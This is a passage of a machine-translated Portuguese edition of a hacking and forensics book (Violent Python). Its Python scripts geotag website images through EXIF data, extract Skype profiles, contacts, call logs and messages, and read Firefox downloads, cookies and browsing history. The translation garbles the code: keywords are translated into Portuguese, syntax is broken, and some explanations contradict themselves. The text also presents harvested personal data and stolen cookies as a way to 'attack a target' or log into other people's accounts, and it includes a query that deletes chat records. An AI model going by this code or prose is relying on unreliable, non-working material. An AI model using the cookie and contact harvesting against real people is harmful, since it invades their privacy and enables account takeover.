voltar imgTags

Em seguida, é preciso baixar cada imagem a partir do site, a fim de examiná­los
em uma função separada. Para baixar uma imagem, vamos usar a funcionalidade
incluídos nas bibliotecas urllib2, urlparse, e OS. Primeiro, vamos extrair o
endereço de origem da marca de imagem. Em seguida, vamos ler o conteúdo binário de
a imagem em uma variável. Finalmente, vamos abrir uma fi le no modo write­binário e
escrever o conteúdo da imagem para o fi le.
urllib2 de importação
de urlsplit importação urlparse
de os.path basename importação
def downloadImage (imgTag):
experimentar:
print '[+] Baixando a imagem ...'
imgSrc = imgTag [ 'src']
imgContent = urllib2.urlopen (imgSrc) .read ()
imgFileName = basename (urlsplit (imgSrc) [2])
imgFile = open (imgFileName, 'wb')
imgFile.write (imgContent)
imgFile.close ()
voltar imgFileName
exceto:
Retorna ''

Lendo metadados EXIF ​de imagens com o Python

Biblioteca de imagens
Para testar o conteúdo de um fi le imagem de metadados EXIF, vamos processar o fi le
usando o Python Imaging Library. PIL, disponível a partir de http: //www.pythonware.
com / products / pil /,adiciona ­processamento de imagem capacidades para Python, e permite
­nos para extrair rapidamente os metadados associados a informações geo­localização.
Para testar um fi le para metadados, vamos abrir o objeto como um PIL imagem e usar o
Método _getexif (). Em seguida, vamos analisar os dados EXIF em uma matriz, indexados pela
Tipo de metadados. Com a matriz completa, podemos procurar a matriz para ver se ele con­
tém uma tag Exif para GPSInfo. Se ela não conter uma etiqueta GPSInfo, então saberemos
o objeto contém metadados GPS e podemos imprimir uma mensagem na tela.

98 CAPÍTULO 3: As investigações forenses com Python

def testForExif (imgFileName):
experimentar:
exifData = {}
imgFile = Image.open (imgFileName)
info = imgFile._getexif ()
Se info:
for (tag, valor) em info.items ():
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 69/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
decodificado = TAGS.get (tag, tag)
exifData [decodificado] = valor
exifGPS = exifData [ 'GPSInfo']
se exifGPS:
print '[*]' + imgFileName + \
'Contém GPS MetaData'
exceto:
passar

Envolvendo tudo junto, nosso script é agora capaz de se conectar a um endereço de URL,
analisar e baixar todas as imagens fi les, e testar cada fi le para Exif metadados. Aviso prévio
que na função principal, que primeiro obter uma lista de todas as imagens no site. Então,
para cada imagem na matriz, vamos baixar o fi le e testá­lo para metadados GPS.
urllib2 de importação

optparse importação
de urlsplit importação urlparse
de os.path basename importação
de BS4 BeautifulSoup importação
de PIL importação Imagem
de marcas de importação PIL.ExifTags
findImages def (URL):
print '[+] Encontrando imagens em' + url
urlContent = urllib2.urlopen (url) .read ()
sopa = BeautifulSoup (urlContent)
imgTags = soup.findAll ( "img")
voltar imgTags
def downloadImage (imgTag):
experimentar:
print '[+] Baixando a imagem ...'
imgSrc = imgTag [ 'src']
imgContent = urllib2.urlopen (imgSrc) .read ()
imgFileName = basename (urlsplit (imgSrc) [2])

metadados 99

imgFile = open (imgFileName, 'wb')
imgFile.write (imgContent)
imgFile.close ()
voltar imgFileName
exceto:
Retorna ''
def testForExif (imgFileName):
experimentar:
exifData = {}
imgFile = Image.open (imgFileName)
info = imgFile._getexif ()
Se info:
for (tag, valor) em info.items ():
decodificado = TAGS.get (tag, tag)
exifData [decodificado] = valor
exifGPS = exifData [ 'GPSInfo']
se exifGPS:
print '[*]' + imgFileName + \
'Contém GPS MetaData'
exceto:
passar
def main ():
parser = optparse.OptionParser ( 'uso% prog "+ \
"­u <Meta url> ')
parser.add_option ( '­ u', dest = 'url', type = 'string',
help = 'especificar o endereço de url')
(Opções, args) = parser.parse_args ()
url = options.url
Se o URL == None:
parser.usage de impressão
exit (0)
outro:
imgTags = findImages (url)
para imgTag em imgTags:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 70/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
imgFileName = downloadImage (imgTag)
testForExif (imgFileName)
se __name__ == '__main__':
a Principal()

100 CAPÍTULO 3: As investigações forenses com Python

Testando o script recém­criado contra um endereço de destino, vemos que um dos
imagens no destino contém informações de metadados GPS. Embora isso possa ser usado
em um sentido de reconhecimento ofensivo para alvejar indivíduos, também podemos usar o script
em um completamente benigna caminho­de identificar nossas próprias vulnerabilidades antes que os atacantes.
forense: # python exifFetch.py ​
­u

http://www.flickr.com/photos/dvids/4999001925/sizes/o
[ + ] Encontrar imagens no
http://www.flickr.com/photos/dvids/4999001925/sizes/o
[ + ] Baixando a imagem ...
[ + ] Baixando a imagem ...
[ + ] Baixando a imagem ...
[ + ] Baixando a imagem ...
[ + ] Baixando a imagem ...
[*] 4999001925_ab6da92710_o.jpg contém metadados GPS
[ + ] Baixando a imagem ...
[ + ] Baixando a imagem ...
[ + ] Baixando a imagem ...
[ + ] Baixando a imagem ...

INVESTIGANDO artefatos de aplicativos COM
PYTHON
Nesta seção vamos examinar artefatos de aplicativo, ou seja, os dados armazenados na
Bases de dados SQLite por duas aplicações populares. O banco de dados SQLite é uma popu­
escolha lar para armazenamentos locais / cliente em várias aplicações diferentes, especialmente
navegadores web, por causa das ligações de linguagem de programação independente.
Ao contrário de um banco de dados que mantém um cliente / servidor relacionamento, SQLite
armazena todo o banco de dados como um único fl no fi le no host. Originalmente criado por
Dr. Richard Hipp por seu trabalho com a Marinha dos EUA, bancos de dados SQLite continuar a
crescer o uso em muitas aplicações populares. Os aplicativos criados pela Apple, Mozilla,
Google, McAfee, Microsoft, Intuit, General Electrics, DropBox, Adobe e até mesmo
Airbus utilizar o formato de banco de dados SQLite (SQLite, 2012). Compreender como
para analisar bancos de dados SQLite e automatizar o processo utilizando Python é inestimáveis
capazes durante as investigações forenses. A próxima seção começa por examinar o
formato de banco de dados SQLite usado na popular Skype voice­over­IP, cliente de bate­papo.

Entendendo o banco de dados Skype Sqlite3
A partir da versão 4.0, o utilitário de chat populares Skype mudou seu banco de dados interno
formato a utilizar SQLite (Kosi2801., 2009). No Windows, Skype armazena uma data­
base chamada main.db na pasta C: \ Documents and Settings \ <usuário> \ Application

Investigando artefatos de aplicativos com Python
101

Data \ Skype \ <Skype­account> diretório. No Mac OS X, a mesma data­
de base reside em cd / Users / <User> / Library / Application \ Support / Skype / <Skype­
Conta>. Mas o que faz a loja de aplicativos Skype neste banco de dados? Para melhor
compreender o esquema de informações do banco de dados SQLite Skype, vamos rapidamente
conectar­se ao banco de dados usando a ferramenta de linha de comando sqlite3. Após a ligação,
nós executamos o comando:
Tbl_name SELECT FROM sqlite_master ONDE tipo == "mesa"
O banco de dados SQLite mantém uma tabela chamada sqlite_master; este con­ mesa
tém uma coluna chamada tbl_name, que descreve cada uma das tabelas na
banco de dados. A execução deste instrução SELECT nos permite ver tabelas no Skype
main.db banco de dados. Nós podemos agora ver que este banco de dados contém tabelas de contenção
ing informações sobre contatos, chamadas, contas, mensagens e até mesmo SMS
mensagens.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 71/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
investigador main.db $ sqlite3
versão SQLite 3.7.9 2011­11­01 00:52:41
Enter ".help" para obter instruções
Inserir instruções SQL terminados com um ";"
sqlite> tbl_name SELECT FROM sqlite_master ONDE tipo == "mesa";
DbMeta

contactos
LegacyMessages
chamadas
contas
transferências
mensagens de voz
Bate­papo
mensagens
ContactGroups
vídeos
SMSes
CallMembers
ChatMembers
alertas
conversações
Os participantes

A tabela de Contas contém informações sobre a conta Skype utilizada pelo
aplicação. Ele contém colunas que incluem informações sobre o usuário do
nomear, Skype pro fi le nome, a localização do usuário, e a data de criação

102 CAPÍTULO 3: As investigações forenses com Python

a conta. Para consultar essas informações, podemos criar uma instrução SQL que
SELECTs estas colunas. Note­se que a base de dados armazena a data em unixepoch
tempo e requer a conversão para um formato mais user­friendly. tempo Unixepoch
fornece uma medida simples para o tempo. Ele registra a data como um inte­ simples
ger que representa o número de segundos desde 1º de janeiro de 1970. O SQL
método de data e hora () pode converter esse valor em um formato de fácil leitura.
sqlite> fullname SELECT, skypename, cidade, país, data e hora (profile_
timestamp, 'unixepoch') FROM contas;
TJ OConnor | <accountname> | New York | nos | 22010­01­17 16:28:18

Usando Python e Sqlite3 para automatizar o Skype Banco de Dados
consultas
Durante a conexão com o banco de dados e executar uma instrução SELECT prova
fácil o suficiente, nós gostaríamos de ser capaz de automatizar esse processo e mação adicional
mação de várias colunas e tabelas na base de dados diferentes. Vamos escrever
um pequeno programa Python que utiliza a biblioteca sqlite3 para fazer isso. Observe o nosso
funcionar PrintPro fi le (). Ele cria uma conexão com o banco de dados main.db . Depois de
criar uma conexão, ele pede para um prompt de cursor e executa nossa anterior
instrução SELECT. O resultado da instrução SELECT retorna uma matriz de
matrizes. Para cada resultado retornado, ela contém colunas indexadas para o utilizador, skype
nome de usuário, localização e pro fi le data. Interpretamos estes resultados e, em seguida, bonitas
imprimi­los para a tela.

sqlite3 importação
def printProfile (skypeDB):
conn = sqlite3.connect (skypeDB)
C = conn.cursor ()
c.execute ( "SELECT nome completo, skypename, cidade, país, \
datetime (profile_timestamp, 'unixepoch') a partir de contas; ")
para linha em c:
print '[*] ­ Conta Encontrado ­'
print '[+] Usuário:' + str (row [0])
print '[+] Skype Usuário:' + str (row [1])
print '[+] Localização:' + str (linha [2]) + ',' + str (linha [3])
print '[+] Ficha Data:' + str (linha [4])
def main ():
skypeDB = "main.db"
printProfile (skypeDB)
se __name__ == "__main__":
a Principal()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 72/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Investigando artefatos de aplicativos com Python
103

Executando a saída do PrintPro fi le.py, vemos que o Skype main.db banco de dados
contém uma única conta de usuário. Por questões de privacidade, que substituiu o real
nome da conta com <accountname>.
investigador printProfile.py $ python
[*] ­ Conta Encontrado ­
[+] Usuário : TJ OConnor
[+] Skype Usuário: <accountname>
[+] Localização : New York, NY, US
[+] Perfil Data : 2010­01­17 16:28:18

Vamos aprofundar as investigações sobre o banco de dados do Skype através da análise do armazenados
contatos de endereço. Observe que a tabela Contatos armazena informações como o
displayname, nome de usuário skype, localização, telefone celular, e até mesmo de aniversário para
cada contato armazenado no banco de dados. Tudo isso pessoalmente identi fi informações capazes
ção pode ser útil como nós investigar ou atacar um alvo, então vamos recolhê­lo. Vamos
output a informação de que os nossos instrução SELECT retorna. Observe que vários
destes campos, tais como aniversário, poderia ser nulo. Nestes casos, nós utilizamos um con­
declaração nal IF­se apenas os resultados de impressão não igual a "Nenhum".

printContacts def (skypeDB):
conn = sqlite3.connect (skypeDB)
C = conn.cursor ()
c.execute ( "SELECT displayname, skypename, cidade, país, \
phone_mobile, aniversário a partir dos contatos; ")
para linha em c:
print '\ n [*] ­ Encontrado Contact ­'
print '[+] Usuário : '+ Str (row [0])
print '[+] Skype Usuário:' + str (row [1])
Se str (linha [2])! = '' E str (linha [2])! = 'Nenhum':
print '[+] Localização : '+ Str (linha [2]) +', '\
+ Str (linha [3])
Se str (linha [4])! = 'Nenhum':
print '[+] número de celular : '+ Str (linha [4])
Se str (linha [5])! = 'Nenhum':
print '[+] aniversário : '+ Str (linha [5])

Até agora nós só examinaram extrair colunas específicas de especi fi c
tabelas. No entanto, o que acontece quando duas tabelas contêm informações que
quer saída juntos? Neste caso, teremos de unir as tabelas de banco de dados
com valores que identificam unicamente os resultados. Para ilustrar isso, vamos examinar

104 CAPÍTULO 3: As investigações forenses com Python

como saída de registro de chamadas armazenado no banco de dados skype. Para emitir uma detalhada
Registo de chamadas Skype, teremos de usar tanto a chamadas de mesa e as conversas
mesa. A Convida tabela mantém o timestamp dos índices de chamadas e exclusivamente
cada chamada com uma coluna chamada conv_dbid . O Conversas tabela mantém
a identidade dos chamadores e índices cada chamada feita com uma coluna chamada id.
Assim, para se juntar as duas tabelas é preciso emitir uma instrução SELECT com uma condição
ção ONDE calls.conv_dbid = conversations.id. O resultado desta declaração
retorna resultados que contenham os tempos e as identidades de todas as chamadas do Skype feitas e
armazenada na base de dados Skype do alvo.

def printCallLog (skypeDB):
conn = sqlite3.connect (skypeDB)
C = conn.cursor ()
c.execute ( "datetime SELECIONAR (begin_timestamp, 'unixepoch'), \
identidade a partir de chamadas, conversações nas quais \
calls.conv_dbid = conversations.id; "
)
print '\ n [*] ­ As chamadas Encontrados ­'
para linha em c:
print '[+] Time:' + str (row [0]) + \
'| Parceiro: '+ str (row [1])
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 73/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Vamos adicionar a função nal um fi para o nosso script demolição de banco de dados Skype. Forensically
rico, o Skype pro fi le banco de dados contém realmente todas as mensagens enviadas e
recebido por um usuário por padrão. A base de dados esta em uma tabela chamada Mensagens.
A partir desta tabela, vamos selecionar a timestamp, dialog_partner, autor e
body_xml (texto simples da mensagem). Observe que, se o autor difere do dia­
log_partner, o proprietário da base de dados iniciada a mensagem para o dialog_part­
ner. Caso contrário, se o autor é o mesmo que o dialog_partner, o dialog_partner
iniciada a mensagem, e vamos imprimir a partir da dialog_partner.

printMessages def (skypeDB):
conn = sqlite3.connect (skypeDB)
C = conn.cursor ()
c.execute ( "datetime SELECIONAR (timestamp, 'unixepoch'), \
dialog_partner, autor, body_xml a partir de mensagens; ")
print '\ n [*] ­ mensagens encontradas ­'
para linha em c:
experimentar:
se 'partlist' não em str (linha [3]):
Se str (row [1])! = Str (linha [2]):

Investigando artefatos de aplicativos com Python
105

msgDirection = 'Para' + str (row [1]) + ':'
outro:
msgDirection = 'De' + str (linha [2]) + ':'
print 'Time:' + str (row [0]) + '' \
+ MsgDirection + str (linha [3])
exceto:
passar

Envolvendo tudo juntos, temos um roteiro bastante potente para examinar a
Skype pro fi le banco de dados. Nosso script pode imprimir as informações pro fi le, endereço
contatos, registro de chamadas, e até mesmo as mensagens armazenadas no banco de dados. Podemos adicionar
alguma opção de análise na função principal e usar algumas das funcionalidades no
a biblioteca de sistema operacional para assegurar a pro fi le fi le existe antes de executar cada um dos função
ções para investigar a base de dados.

sqlite3 importação
optparse importação
import os
def printProfile (skypeDB):
conn = sqlite3.connect (skypeDB)
C = conn.cursor ()
c.execute ( "SELECT nome completo, skypename, cidade, país, \
datetime (profile_timestamp, 'unixepoch') a partir de contas; ")
para linha em c:
print '[*] ­ Conta Encontrado ­'
print '[+] Usuário : '+ Str (row [0])
print '[+] Skype Usuário:' + str (row [1])
print '[+] Localização : '+ Str (linha [2]) +', '+ str (linha [3])
print '[+] Perfil Data : '+ Str (linha [4])
printContacts def (skypeDB):
conn = sqlite3.connect (skypeDB)
C = conn.cursor ()
c.execute ( "SELECT displayname, skypename, cidade, país, \
phone_mobile, aniversário a partir dos contatos; ")
para linha em c:
print '\ n [*] ­ Encontrado Contact ­'
print '[+] Usuário : '+ Str (row [0])
print '[+] Skype Usuário:' + str (row [1])
Se str (linha [2])! = '' E str (linha [2])! = 'Nenhum':
print '[+] Localização : '+ Str (linha [2]) +', '\

106 CAPÍTULO 3: As investigações forenses com Python

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 74/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

+ Str (linha [3])
Se str (linha [4])! = 'Nenhum':
print '[+] número de celular : '+ Str (linha [4])
Se str (linha [5])! = 'Nenhum':
print '[+] aniversário : '+ Str (linha [5])
def printCallLog (skypeDB):
conn = sqlite3.connect (skypeDB)
C = conn.cursor ()
c.execute ( "datetime SELECIONAR (begin_timestamp, 'unixepoch'), \
identidade a partir de chamadas, conversações nas quais \
calls.conv_dbid = conversations.id; "
)
print '\ n [*] ­ As chamadas Encontrados ­'
para linha em c:
print '[+] Time:' + str (row [0]) + \
'| Parceiro: '+ str (row [1])
printMessages def (skypeDB):
conn = sqlite3.connect (skypeDB)
C = conn.cursor ()
c.execute ( "datetime SELECIONAR (timestamp, 'unixepoch'), \
dialog_partner, autor, body_xml a partir de mensagens; ")
print '\ n [*] ­ mensagens encontradas ­'
para linha em c:
experimentar:
se 'partlist' não em str (linha [3]):
Se str (row [1])! = Str (linha [2]):
msgDirection = 'Para' + str (row [1]) + ':'
outro:
msgDirection = 'De' + str (linha [2]) + ':'
print 'Time:' + str (row [0]) + '' \
+ MsgDirection + str (linha [3])
exceto:
passar
def main ():
parser = optparse.OptionParser ( "uso% prog" + \
"­p <Skype caminho do perfil>")
parser.add_option ( '­ p', dest = 'nome de caminho', type = 'string', \
help = 'especificar skype caminho do perfil')
(Opções, args) = parser.parse_args ()

Investigando artefatos de aplicativos com Python
107

PATHNAME = options.pathName
se PATHNAME == None:
parser.usage de impressão
exit (0)
elif os.path.isdir (nome do caminho) == False:
print '[!] caminho não existe:' + nome de caminho
exit (0)
outro:
skypeDB = os.path.join (nome de caminho, 'main.db')
Se os.path.isfile (skypeDB):
printProfile (skypeDB)
printContacts (skypeDB)
printCallLog (skypeDB)
printMessages (skypeDB)
outro:
print '[!] Skype banco de dados' + \
'Não existe:' + skpeDB
se __name__ == '__main__':
a Principal()

A execução do script, podemos adicionar a localização de um Skype pro fi le caminho com o ­p
opção. O script imprime a conta per fi l, contatos, chamadas e mensagens
armazenado no alvo. Sucesso! Na próxima seção, vamos usar o nosso conhecimento de
sqlite3 para examinar os artefatos armazenados pelo navegador do popular Firefox.
investigador $ python skype­parse.py ­p /root/.Skype/not.myaccount
[*] ­ Conta Encontrado ­
: TJ OConnor

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 75/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
[+] Usuário
[+] Skype Usuário: <accountname>
[+] Localização : Nova Iorque, EUA
[+] Perfil Data : 2010­01­17 16:28:18
[*] ­ Contato Encontrado ­
[+] Usuário : Alguns Usuário
[+] Skype Usuário: some.user
[+] Localização : Basking Ridge, NJ, nós
[+] Número de celular: + 19085555555
[+] Aniversário : 19750101
Convida Encontrado ­ [*] ­
[+] Time: 2011­12­04 15:45:20 | Parceiro: + 18005233273
[+] Time: 2011­12­04 15:48:23 | Parceiro: + 18005210810

108 CAPÍTULO 3: As investigações forenses com Python

MAIS INFORMAÇÃO…
Outros úteis Skype Consultas ...
Se estiver interessado, tomar o tempo para examinar o banco de dados do Skype ainda mais e fazer novos scripts. con­
considerar as seguintes outras consultas que podem ser úteis:
Pretende imprimir apenas os contatos com aniversários na lista de contatos?
fullname SELECT, de aniversário de contatos ONDE aniversário> 0;
Deseja imprimir um registro de conversas com apenas especi fi c <SKYPE­PARTNER>?
datetime SELECIONAR (timestamp, 'unixepoch'), dialog_partner, autor, body_xml
DE mensagens onde dialog_partner = '<SKYPE­PARTNER>'
Deseja excluir um registro de conversas com um <SKYPE­PARTNER> especi fi c?
DELETE FROM mensagens onde skypename = '<SKYPE­PARTNER>'

[+] Time: 2011­12­04 15:48:39 | Parceiro: + 18004284322
[*] ­ Encontrado Mensagens ­
Time: 2011­12­02 00:13:45 De some.user: Você fez avião
Reservas yets?
Time: 2011­12­02 00:14:00 Para some.user: Trabalho nele ...
Time: 2011­12­19 16:39:44 Para some.user: A Continental não tem qualquer
Voos disponíveis hoje.
Time: 2012­01­10 18:01:39 De some.user: Tente United ou da US Airways,
eles devem voar em Jersey.

Analisando Firefox Sqlite3 bancos de dados com Python
Na última seção, examinamos um único banco de dados de aplicativo armazenados pelo
aplicativo Skype. O banco de dados forneceu uma grande quantidade de dados forense ricos
para investigação. Nesta seção, vamos examinar o que o aplicativo Firefox
lojas em uma série de bancos de dados. Firefox armazena esses bancos de dados em uma direção padrão
tory localizado em C: \ Documents and Settings \ <usuário> \ Application Data \ Mozilla \
Firefox \ Pro fi les \ <pro fi le pasta> \ no Windows e / Users / <usuário> / Library /
Aplicação \ Support Pro fi les <pro fi le pasta> / Firefox / / No Mac OS X. Deixe­nos
listar os bancos de dados SQLite armazenados em um diretório.

investigador $ ls * .sqlite
places.sqlite downloads.sqlite search.sqlite
addons.sqlite extensions.sqlite signons.sqlite
chromeappsstore.sqlite formhistory.sqlite webappsstore.sqlite
content­prefs.sqlite permissions.sqlite
cookies.sqlite places.sqlite
Examinando a listagem de diretório, parece óbvio que as lojas do Firefox completamente um
bit de dados forense ricos. Mas onde deve um investigador começar? Vamos começar

Investigando artefatos de aplicativos com Python
109

com a downloads.sqlite base de dados. A fi le downloads.sqlite armazena informações
sobre a fi les baixado por um usuário Firefox. Ele contém uma única tabela chamada
moz_downloads que armazena informações sobre o fi le nome, fonte down­
carregado, data baixado, fi le tamanho, referrer, e localização armazenados localmente
do fi le. Nós usamos um script Python para executar uma instrução SELECT SQLite
as colunas apropriadas: nome, origem e data e hora. Observe que o Firefox faz
algo interessante com o tempo de época Unix que anteriormente aprendeu sobre.
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 76/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Para armazenar o tempo de época Unix no banco de dados, ele se multiplica pelo número de
segundos desde 1º de janeiro de 1970 por 1.000.000. Assim, para formatar corretamente o nosso
tempo, precisamos dividir por 1 milhão.
sqlite3 importação
printDownloads def (downloadDB):
conn = sqlite3.connect (downloadDB)
C = conn.cursor ()
c.execute ( 'SELECT nome, origem, data e hora (endTime / 1000000, \
\ 'Unixepoch \') FROM moz_downloads; '
)
print '\ n [*] ­­­ ficheiros transferidos ­­­'
para linha em c:
print '[+] arquivo:' + str (row [0]) + 'da fonte:' \
+ Str (row [1]) + 'em:' + str (linha [2])
se __name__ == "__main__":
a Principal()

Executar o script contra o downloads.sqlite fi le, vemos que este pro fi le con­
informações tém cerca de um fi le que baixado anteriormente. Na verdade, nós down­
carregado esta fi le em uma das seções anteriores para saber mais sobre metadados.
investigador firefoxDownloads.py $ python
[*] ­­­ ­­­ Ficheiros transferidos
[+] Arquivo: ANONOPS_The_Press_Release.pdf da fonte:
http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_
Press_Release.pdf em: 2011­12­14 05:54:31

Excelente! Nós sabemos agora que quando um usuário baixou especi fi c fi les usando
Raposa de fogo. No entanto, se um investigador quer log de volta para sites que usam
autenticação? Por exemplo, que se um investigador de polícia determinou um usuário
imagens transferidas que descreviam ações prejudiciais para as crianças a partir de um
baseado na web site de e­mail? O investigador de polícia (legalmente) gostaria de log
de volta para o e­mail baseado na web, mas muito provavelmente não tem a senha ou autenti­
cação de e­mail baseado na web do usuário. Digite cookies. Uma vez que o HTTP pro­
protocolo carece de um projeto de estado, locais de origem Web utilizam cookies para manter o estado.

110 CAPÍTULO 3: As investigações forenses com Python

LIDAR COM banco de dados criptografado ERROR
Atualizando Sqlite3
Você pode perceber que, se você tentar abrir o banco de dados cookies.sqlite com o padrão Sqlite3
instalação de Backtrack 5 R2, que relata fi le é criptografada , ou é não um banco de dados .O padrão
instalação de Sqlite3 é Sqlite3.6.22, que não suporta o modo revista WAL. ver­ recente
ções do Firefox use a journal_mode PRAGMA = WAL na sua cookies.sqlite e places.sqlite
bancos de dados. A tentativa de abrir o fi le com uma versão mais antiga do Sqlite3 ou Python­ mais velhos
bibliotecas Sqlite3 irá relatar um erro.
investigador: ~ # sqlite3.6 ~ /.mozilla/ fi ReFox / nq474mcm.default / cookies.sqlite

SQLite versão 3.6.22
Enter ".help" para obter instruções
Inserir instruções SQL terminados com um ";"
sqlite> SELECT * FROM moz_cookies;
Erro: arquivo é criptografado ou não é um banco de dados
Após atualizar suas bibliotecas Sqlite3 binário e Pyton­sqlite3 para
uma versão> 3.7, você deve ser capaz de abrir o mais recente Firefox
bancos de dados.

investigador: ~ # sqlite3.7 ~ /.mozilla/firefox/nq474mcm.default/
cookies.sqlite
versão SQLite 3.7.13 2012­06­11 02:05:22
Enter ".help" para obter instruções
Inserir instruções SQL terminados com um ";"
sqlite> SELECT * FROM moz_cookies;
1 | backtrack­linux.org | __ <.. cortou ..>
4 | sourceforge.net | sf_mirror_attempt | <.. cortou ..>
Para evitar o nosso script cair sobre este erro não tratada, com a
cookies.sqlite e bancos de dados places.sqlite, colocamos exceções para
pegar a mensagem de erro banco de dados criptografado. Para evitar receber
este erro, atualize sua biblioteca Python­Sqlite3 ou usar o mais velho
Firefox cookies.sqlite e bancos de dados places.sqlite incluído no
Web site da companhia.

Considere, por exemplo, quando um usuário faz logon em um e­mail baseado na web: se o navegador

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 77/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
não poderia manter os cookies, o usuário teria de fazer logon a fim de ler
cada e­mail individual. Firefox armazena esses cookies em um banco de dados com o nome cozedura
ies.sqlite . Se um investigador pode extrair biscoitos e reutilizá ­los, que fornece o
oportunidade de fazer logon em recursos que exigem autenticação.
Vamos escrever um script Python rápida para extrair cookies de um usuário sob inves­
tigação. Nós conectar ao banco de dados e executar a nossa instrução SELECT. Dentro

Investigando artefatos de aplicativos com Python
111

o banco de dados, os moz_cookies mantém os dados de cookies. De
mesa moz_cookies na cookies.sqlite banco de dados, vamos consultar o va­ coluna
ues para o host, o nome eo valor do cookie, e imprimi­los para a tela.
printCookies def (cookiesDB):
experimentar:
conn = sqlite3.connect (cookiesDB)
C = conn.cursor ()
c.execute ( 'SELECT anfitrião, nome, valor a partir moz_cookies')
print '\ n [*] ­ Biscoitos Encontrado ­'
para linha em c:
host = str (row [0])
name = str (row [1])
value = str (linha [2])
print '[+] Anfitrião:' + alojamento + ', Cookie:' + nome \
+ ', Valor: «Valor +
salvo exceção, e:
se 'criptografado' em str (e):
print '\ n [*] Erro ao ler os cookies de banco de dados.'
print '[*] Melhore a sua Python­Sqlite3 Biblioteca'
Um investigador também pode querer enumerar o histórico do navegador. Firefox armazena
esses dados em um banco de dados chamado places.sqlite. Aqui, a tabela de moz_places dá
­nos valiosos colunas que incluem informações sobre quando (data) e onde
(Endereço) o usuário visitar um site. Enquanto o nosso roteiro para printHistory () só leva
em conta a tabela de moz_places, o site recomenda ForensicWiki
usando os dados tanto da tabela e a tabela de moz_places como moz_historyvisits
bem para obter um histórico do navegador ao vivo (Forensics Wiki, 2011).

def printHistory (placesDB):
experimentar:
conn = sqlite3.connect (placesDB)
C = conn.cursor ()
c.execute ( "select url, data e hora (VISIT_DATE / 1000000, \
'Unixepoch') a partir de moz_places, moz_historyvisits \
onde VISIT_COUNT> 0 e moz_places.id == \
moz_historyvisits.place_id; ")
print '\ n [*] ­ História Encontrado ­'
para linha em c:
url = str (row [0])
date = str (row [1])

112 CAPÍTULO 3: As investigações forenses com Python

print '[+]' + data + '­ Visita:' + url
salvo exceção, e:
se 'criptografado' em str (e):
print '\ n [*] Erro ao ler os seus locais de banco de dados.'
print '[*] Melhore a sua Python­Sqlite3 Biblioteca'
exit (0)
Vamos usar o último exemplo e nosso conhecimento de expressões regulares para expandir
a função anterior. Embora o histórico do navegador é infinitamente valiosa, que seria
ser útil para olhar mais profundo sobre algumas das especificações URLs fi c visitados. pesquisa do Google
consultas contêm os termos de busca direito dentro da URL, por exemplo. No
seção wireless, vamos expandir isso em grande profundidade. No entanto, agora,
vamos apenas extrair os termos de pesquisa à direita da URL. Se detectar um URL na nossa
história que contém Google , vamos busca­lo para a personagens q = seguido por

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 78/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
um &. Este fi sequência c específico de caracteres indica uma pesquisa no Google. Se fizermos
fi nd este termo, vamos limpar a saída através da substituição de alguns dos personagens
usado em URLs para o espaço em branco do rato com espaços em branco real. Finalmente, vamos imprimir
a saída corrigida para a tela. Agora, temos uma função que pode pesquisar
o places.sqlite fi le para e imprimir consultas de pesquisa do Google.
importação sqlite3, re
def printGoogle (placesDB):
conn = sqlite3.connect (placesDB)
C = conn.cursor ()
c.execute ( "select url, data e hora (VISIT_DATE / 1000000, \
'Unixepoch') a partir de moz_places, moz_historyvisits \
onde VISIT_COUNT> 0 e moz_places.id == \
moz_historyvisits.place_id; ")
print '\ n [*] ­ Encontrado Google ­'
para linha em c:
url = str (row [0])
date = str (row [1])
